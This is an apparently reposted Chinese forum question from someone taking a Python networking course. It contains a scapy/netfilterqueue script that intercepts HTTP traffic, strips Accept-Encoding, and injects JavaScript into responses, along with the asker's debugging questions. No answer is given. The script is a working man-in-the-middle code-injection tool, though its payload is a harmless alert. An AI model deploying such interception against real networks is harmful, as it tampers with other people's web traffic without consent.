问题描述
我正在学习基本的 Python 网络课程。
这是我的代码,它应该在 </body>
标记之前的每个 http 响应中将 javascript 警报函数注入未加密的 html。
#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy
import re
import subprocess
def enable_queuing(enable):
if enable:
subprocess.call("iptables --insert INPUT --jump NFQUEUE --queue-num 0",shell=True)
subprocess.call("iptables --insert OUTPUT --jump NFQUEUE --queue-num 0",shell=True)
else:
subprocess.call("iptables --flush",shell=True)
def set_load(packet,load):
packet[scapy.Raw].load = load
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.Raw):
if scapy_packet.haslayer(scapy.TCP):
if scapy_packet[scapy.TCP].dport == 80: # if http request
# requesting plain-text html from host
modified_load = re.sub("Accept-Encoding:.*?\\r\\n","",scapy_packet[scapy.Raw].load)
decoded_packet = set_load(scapy_packet,modified_load)
packet.set_payload(str(decoded_packet))
elif scapy_packet[scapy.TCP].sport == 80: # if http response
# injection
modified_load = scapy_packet[scapy.Raw].load.replace("</body>","<script>alert('hello');</script></body>")
new_packet = set_load(scapy_packet,modified_load)
packet.set_payload(str(new_packet))
packet.accept()
# !execution stops here for no reason!
queue = netfilterqueue.NetfilterQueue()
queue.bind(0,process_packet)
try:
enable_queuing(True)
queue.run()
except KeyboardInterrupt:
print("\nCleaning up...")
enable_queuing(False)
print("Ok")
print("Quitting.")
我检查了 new_packet
的输出,js alert()
就在那里。
我的问题是,在 packet.accept()
之后,脚本通常只是退出。我正在使用 python2 从终端运行它,它就像我按下了 CTRL+C 一样停止了。这并不总是发生,几个小时以来,我一直试图了解导致它的原因,但无法弄清楚。
另外,即使脚本没有退出,如果我把它放在</body>
之前,js仍然不会被执行。但是,如果我将它放在头部,就像在 </head>
之前一样,它确实如此,但随机退出也仍在发生。
我不知道是什么原因造成的。
解决方法
暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!
如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。
小编邮箱:dio#foxmail.com (将#修改为@)